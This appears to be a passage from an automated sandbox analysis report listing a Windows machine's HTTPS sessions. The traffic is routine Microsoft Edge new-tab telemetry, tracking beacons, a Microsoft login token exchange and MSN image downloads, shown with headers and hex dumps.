2024-11-27 15:34:55 UTC	3780	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 37 3a 33 33 3a 31 32 2e 34 39 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 31 33 30 39 31 35 36 2d 32 65 63 38 2d 34 36 65 32 2d 62 36 65 61 2d 36 38 32 62 36 30 32 30 34 63 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 37 32 34 34 33 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-27T17:33:12.490Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"d1309156-2ec8-46e2-b6ea-682b60204c68","epoch":"357244319"},"app":{"locale"
2024-11-27 15:34:56 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7c6970aac9da4c9792681a5fd6c0925a&HASH=7c69&LV=202411&V=4&LU=1732721695907; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 15:34:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6b85bca51e364a4494f4312b6bb4295c; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 16:04:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: -7096587 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 15:34:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49874	108.138.106.4	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:55 UTC	925	OUT	GET /b?rn=1732728792496&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1E3415CF46DC6CBF03A7008B47566DA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 27 Nov 2024 15:34:56 GMT Location: /b2?rn=1732728792496&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1E3415CF46DC6CBF03A7008B47566DA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1652c19b4b2925cf4827dfd1732721696; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1652c19b4b2925cf4827dfd1732721696; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 f359087e1d20f17f76b31eb5ffbbd450.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: LMo3qT2fu14JY1JFoXYc66iIrPe-UH4ze094hq3MFNamIA6QdvQatA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49875	20.110.205.119	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	1175	OUT	GET /c.gif?rnd=1732728792496&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=221ec520250b43099d1fa8eff7ffc145&activityId=221ec520250b43099d1fa8eff7ffc145&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
2024-11-27 15:34:56 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732728792496&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=221ec520250b43099d1fa8eff7ffc145&activityId=221ec520250b43099d1fa8eff7ffc145&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5F52A0B36D744129A8759321B8EDA26D&RedC=c.msn.com&MXFR=1E3415CF46DC6CBF03A7008B47566DA7 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1E3415CF46DC6CBF03A7008B47566DA7; domain=.msn.com; expires=Mon, 22-Dec-2025 15:34:56 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49877	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 15:34:56 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:34:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:33:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_BL2 x-ms-request-id: 43cfa26a-3853-4cd6-966c-dfef70825613 PPServer: PPV: 30 H: BL02EPF00027B63 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close Content-Length: 11389
2024-11-27 15:34:56 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49882	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 07:00:50 GMT X-Datacenter: eastus X-ActivityId: 159929e5-a1cb-4d8f-afcb-c81ae7dd9906 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSh X-Source-Length: 116060 Content-Length: 116060 Cache-Control: public, max-age=401266 Expires: Mon, 02 Dec 2024 07:02:42 GMT Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close
2024-11-27 15:34:56 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 15:34:56 UTC	16384	IN	Data Raw: dc b4 ba 4e d6 06 fd 6c 02 14 c9 bd 96 e5 ba dc 8d e3 b6 e8 89 2d ff 00 1e a1 c1 f0 f5 4b 6f 66 97 b0 db f8 3d 97 8e a1 46 cf df 87 c9 30 97 99 73 e3 ad a6 d9 89 2d 07 84 89 54 4b bc ad 2e 32 68 26 e7 2b 09 92 b6 c1 44 62 f3 13 c8 49 e5 70 15 68 2e 21 a0 12 4d 00 12 49 e8 2a 8e e0 f6 37 07 e3 73 89 98 48 73 63 f9 4b 44 4e d3 c5 02 5d 15 30 7a 98 b7 c9 4d a0 c3 10 c4 08 87 0a cc 02 38 b4 89 f9 2d 69 76 8b 81 22 0d c7 99 ad 77 fe 97 4d f6 24 21 e2 76 10 d9 10 09 81 22 44 d4 ef 7e a8 8e 6b ac 5a 5a 65 a2 43 65 ad 07 f8 92 60 13 99 8b 20 ae c2 e0 e3 89 c4 c8 00 38 03 2d ea ec 46 08 a4 5f 8a c1 88 d0 3a 48 22 00 fd b1 94 5d 0d a6 ff 00 8e 39 9f 29 9e db 10 6d 5d 92 8c ed 92 0d b6 e6 fd 91 db 3e 09 dc 69 e6 2e b4 c1 9f 2c e5 70 27 95 92 0c 44 61 6c f9 8d 37 22 Data Ascii: Nl-Kof=F0s-TK.2h&+DbIph.!MI*7sHscKDN]0zM8-iv"wM$!v"D~kZZeCe` 8-F_:H"]9)m]>i.,p'Dal7"
2024-11-27 15:34:56 UTC	2373	IN	Data Raw: 71 04 03 17 3c 43 a3 de 4a b5 92 05 29 b8 b0 9b d7 f1 36 b6 70 86 6c 4d 40 37 13 b6 46 f5 b2 06 b8 31 61 4a a9 05 d7 33 73 7b 89 82 77 be fd a8 2d 92 49 8b 45 f8 1e 22 be 29 85 89 cc 67 b1 cc 4c e5 9d 10 52 31 52 e4 f5 a4 67 1e c2 66 db f2 04 c7 08 1c 63 c7 75 b8 6c d2 21 dd 83 39 8b 5f c5 2b aa 37 cc 5c e7 65 96 93 41 b6 16 dc 1b 91 02 a4 52 d3 45 ae 75 ab 5e 9d 9f 4b 21 e9 e1 c2 41 02 66 d2 4e c6 7a 57 a7 44 7c c4 89 9d fc 0d 66 ca 82 b5 b8 c4 fe 30 2d f4 eb c4 a9 43 5e 72 e3 ba 87 e6 88 6b 8b 9a 4c 13 73 5c 89 81 9d fa a2 34 10 09 13 6b 5b dd 14 5d a4 f9 dd 51 02 36 02 3b 02 3b 49 61 02 48 c8 8a 72 34 51 01 c3 18 45 c8 ce f5 da 0d 95 6b dc 2f 37 1e f8 ae 6d ba b8 e6 c4 10 3b b8 db 64 9a 61 b8 bc b6 c5 58 b5 8c d4 99 b0 a2 8d a4 71 3d b2 4d 61 c1 bf c7 Data Ascii: q<CJ)6plM@7F1aJ3s{w-IE")gLR1Rgfcul!9_+7\eAREu^K!AfNzWD\|f0-C^rkLs\4k[]Q6;;IaHr4QEk/7m;daXq=Ma
2024-11-27 15:34:56 UTC	16384	IN	Data Raw: 46 9c 26 12 d3 62 88 cd 3c 78 bc cc 6c 34 bb cc e8 98 c8 6e 76 0a 8a dc 38 5c 1d 33 12 d3 78 ea 20 0f 19 00 21 42 24 50 88 33 22 26 4d 85 4d 39 2a 7f 2a 8e 3e c2 05 68 b8 98 e6 60 73 85 a2 09 18 8c 5c 49 ac 0d f2 44 92 e2 31 3a c2 c2 4d 00 f7 44 3a 19 13 d0 fd d0 14 7f 90 89 2c 60 02 c4 8c 20 c5 ef 84 13 27 73 da 84 5a 41 c8 e5 6a 22 33 4d da 8e c2 d1 26 f5 20 01 02 4f 98 90 12 03 7b d2 0d 2d 97 0e d4 0b 10 6e 9a b3 17 ed fd 11 5c 1c e7 39 da 8e 33 69 c5 25 c6 82 06 2b 92 07 82 0d a6 fe c2 2b 60 c5 39 e7 de a8 9d 32 08 22 62 b6 35 1e 05 57 19 36 98 ca c0 5b 2b 0f 15 41 83 30 38 1b 84 42 81 29 a0 c4 c0 ac 0b 89 ec af 3a 26 00 41 93 7b 46 dc d2 10 83 69 6b 2c 5a 5b 11 70 6d 36 33 c8 f5 5b 62 45 eb d8 3b d0 59 f7 f4 4f 33 33 73 6b 84 ae c3 fb 4b 88 dc 88 e1 Data Ascii: F&b<xl4nv8\3x !B$P3"&MM9**>h`s\ID1:MD:,` 'sZAj"3M& O{-n\93i%++`92"b5W6[+A08B):&A{Fik,Z[pm63[bE;YO33skK
2024-11-27 15:34:57 UTC	16384	IN	Data Raw: 64 2b 84 c9 91 d1 dd 78 da bd 60 71 5d 2f 86 4b 48 3f 93 7b 63 a8 db ad d5 73 44 cd 49 e7 3c 72 3e 25 5d b3 a7 3a 29 22 e0 9e 63 f8 9c ed b8 94 3c 1f 4f 97 e9 d8 ba 5f 0a e6 00 39 91 97 23 97 3e c4 bf 0f f2 b9 81 43 15 e8 46 71 d1 36 69 cf c3 1c bc 3d f2 e0 b2 23 a4 78 70 db dd 94 ff 00 86 6d 06 e6 9d 47 43 9f f4 d9 2f c3 34 11 d3 28 e9 d0 f4 b2 6c d2 0c 11 ef df 87 35 6f 6e 9e fd 8a 29 b8 33 8b 7b ec 3e e1 2e 11 6b 4e fd 7e be 1d 15 44 7a e5 d7 87 d0 e6 32 c8 ad f9 1b 6d f4 28 d8 0e c7 e6 ae 03 7e 82 79 7d c7 b9 41 1e d7 e0 3b 7d d0 ab ef 8f e8 a4 60 8b 5a d7 fa 75 1e 23 aa 4c 1d 3d ec 7e c7 b5 00 ae b7 17 d9 3e 18 f7 ee fe ee b2 29 d9 ef df 62 a8 d6 9a 56 d3 d8 b6 68 91 60 27 ec 80 c1 e6 0f 40 3e a8 d8 88 9a d8 81 da a1 e2 b7 bf 7c 16 cf be 1f 70 a0 9c Data Ascii: d+x`q]/KH?{csDI<r>%]:)"c<O_9#>CFq6i=#xpmGC/4(l5on)3{>.kN~Dz2m(~y}A;}`Zu#L=~>)bVh`'@>\|p
2024-11-27 15:34:57 UTC	7952	IN	Data Raw: 4a 96 c4 8e 60 f7 a6 70 c6 b9 ba da c7 d4 3e 4c 09 36 e7 92 95 e9 f4 c8 3c 73 df a1 0a 46 bf a0 0f 25 de 9f 8f c3 99 b6 ed 39 f0 50 bd 3f ab 76 89 87 89 8c cd 42 6f 73 8f b2 75 79 7b 0d 42 3d 3f a7 2d 71 12 ec af d9 55 e2 c4 97 df cd d1 77 7d 49 fe f5 b8 98 e1 39 89 f2 93 c6 6d cd 70 b0 bf 41 f1 a8 d7 09 88 3c f2 34 3c 42 ce 33 8b ee d6 4f 5b e9 5a e2 43 45 41 ad 62 33 ea 12 ff 00 d9 6a 89 00 3a 99 01 45 27 d0 bd 8f 04 b4 83 e4 b1 cf b2 ab cb fa c7 93 ac e2 72 f0 58 93 79 2d ae 8f a4 71 70 83 1d 1d 91 e9 1f 65 e8 de 3f b8 f4 e6 c7 13 47 31 d1 79 ef 46 5b 13 df c2 93 45 df f5 9a ce d2 d2 69 6d b1 08 ea 54 bd af c3 a9 e8 b5 be 3e 88 fe 4c f2 bd b9 82 3c 6e a7 47 e8 bc 0f a3 f5 6f 6b a4 12 0d 3a 2f 6f a1 ac 35 85 e0 3b bd 66 cd 31 7d c6 80 46 e8 52 ed 3a f9 Data Ascii: J`p>L6<sF%9P?vBosuy{B=?-qUw}I9mpA<4<B3O[ZCEAb3j:E'rXy-qpe?G1yF[EimT>L<nGok:/o5;f1}FR:
2024-11-27 15:34:57 UTC	16384	IN	Data Raw: 93 33 94 fb f7 4e c5 43 cb 62 a3 a8 36 ed 3d c5 04 71 f7 ef 75 93 ef df d5 04 af 88 5d 22 07 08 f1 8c 94 63 73 7a f7 ac 98 e1 dd f2 e5 d8 b4 bc 18 90 0f 87 b2 81 0e fd eb 1d 07 28 4d 3e fe 69 5c 5a 62 44 70 fb 2a 85 86 ef f4 59 84 67 96 de fb 90 8b 86 52 b2 56 90 c7 b5 58 04 2c 99 43 a1 d9 02 1b 74 55 3c ef ef e4 94 b5 b9 59 69 92 c1 da 55 58 41 19 ac 41 4f 14 aa d5 64 14 1e 15 6a a9 84 af 63 e7 31 11 ad 95 a1 bb a2 e2 02 c1 46 96 c0 24 2e 4a 5c 86 83 49 94 aa aa 88 aa ad 09 80 40 a8 ec 64 94 cd d3 dd 10 b8 70 46 9a 69 6a 04 22 b1 ce 40 26 54 1a 4a 55 89 95 46 26 58 11 d8 cc 46 10 20 69 2a 5b 58 05 6f 9a 24 45 80 a2 19 30 b2 d9 9c e4 07 6a 13 69 41 25 24 ca a9 b3 13 29 55 5a ab 2d 5b 09 c0 94 48 e8 a3 45 88 b8 bf bc 94 86 36 d2 47 b2 b1 91 e2 a4 3a 40 ae Data Ascii: 3NCb6=qu]"csz(M>i\ZbDpYgRVX,CtU<YiUXAAOdjc1F$.J\I@dpFij"@&TJUF&XF i[Xo$E0jiA%$)UZ-[HE6G:@
2024-11-27 15:34:57 UTC	16384	IN	Data Raw: a6 31 92 7a 19 ae 67 6b 0f 92 47 bb 15 48 04 08 e6 06 67 39 2a fc 4c 56 d5 f3 0c a6 64 70 cc 78 ac fa af a3 91 69 d9 32 57 81 88 81 44 d1 4f 7e ec ba b8 1c 13 43 db c3 74 ec 27 f6 c9 e8 93 88 a5 bc 11 19 6f 31 cc 5a d7 b7 35 1a 17 e2 df 0b 83 76 06 29 ef ad d3 bf 4d b6 0d 34 bd 6b c3 ec 86 df 33 86 fc 04 78 a3 ea 34 40 75 c4 5a dc b3 9e de 4b 2d fc 01 84 b2 f0 6f 15 e0 ba fa 4f 73 5a 00 83 4b 19 83 cc 57 ea a3 69 3e 4b c5 43 80 06 b1 06 92 6f 9c 71 45 d4 d2 87 c4 e7 02 0c c7 02 2c 7b 56 6b 78 f1 cc 75 b1 fc 36 62 00 c6 a3 73 ce 49 9c c8 b7 48 5e 7b 56 d5 10 7b 78 5a 17 59 d6 d1 6d 41 89 9b 8e d1 be db ae 16 ab a5 e7 6b d8 52 38 6c b3 8b 59 d2 48 11 51 ee 2a 56 03 11 07 c1 2f 54 c0 8a c5 17 57 01 24 71 9c f8 7b b2 23 20 cc c5 c1 1c 0f 25 1c 53 c7 f5 53 b4 Data Ascii: 1zgkGHg9LVdpxi2WDO~Ct'o1Z5v)M4k3x4@uZK-oOsZKWi>KCoqE,{Vkxu6bsIH^{V{xZYmAkR8lYHQV/TW$q{# %SS
2024-11-27 15:34:57 UTC	7952	IN	Data Raw: 61 55 58 b5 05 55 62 d4 15 32 b0 b1 41 b5 44 6d 21 64 59 68 0a 34 d5 d1 69 86 d8 09 91 9d c4 70 b0 50 05 ec a7 c7 91 b5 bd a2 87 8c 0c b2 1b c2 cd 6e 04 46 1d a3 8c f7 28 ee 03 7a ee a4 38 8b db 28 f7 b2 88 63 82 a9 41 4a 9a 89 55 65 53 2c 5a 10 6c 6c b7 ad 92 f2 5a 2e 2a 81 9b 72 9f 0c f5 41 a2 34 84 56 ce 43 3a 8e ab ad a0 ef 29 07 8c 46 62 97 17 f7 75 c9 1f 90 af 0c d7 4f 4c 86 83 36 99 3d 6d 15 06 92 28 42 c5 6f 15 3c 26 2e 76 c9 44 73 70 99 ae 7d 0c fd 94 cc 25 e0 b8 48 88 e5 b1 26 8a 2b 8d a2 2e 77 af 6f 7a 2d 44 30 4a 12 23 8d ca 1c 2d b9 b5 3c de 7b ba 24 94 c2 c8 86 8e 94 f7 45 40 24 1a db dd 82 a0 d6 c2 f6 be 5d 46 df 55 4f 0e 05 14 61 76 9a 15 d2 f4 a3 03 89 13 31 13 52 2f 5c ea 2c b9 4c b7 cd 76 bd 3f e2 f8 75 c9 0d da 26 b9 c8 e2 b9 de 9d 31 Data Ascii: aUXUb2ADm!dYh4ipPnF(z8(cAJUeS,ZllZ.*rA4VC:)FbuOL6=m(Bo<&.vDsp}%H&+.woz-D0J#-<{$E@$]FUOav1R/\,Lv?u&1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49881	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=77715 Expires: Thu, 28 Nov 2024 13:10:11 GMT Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close
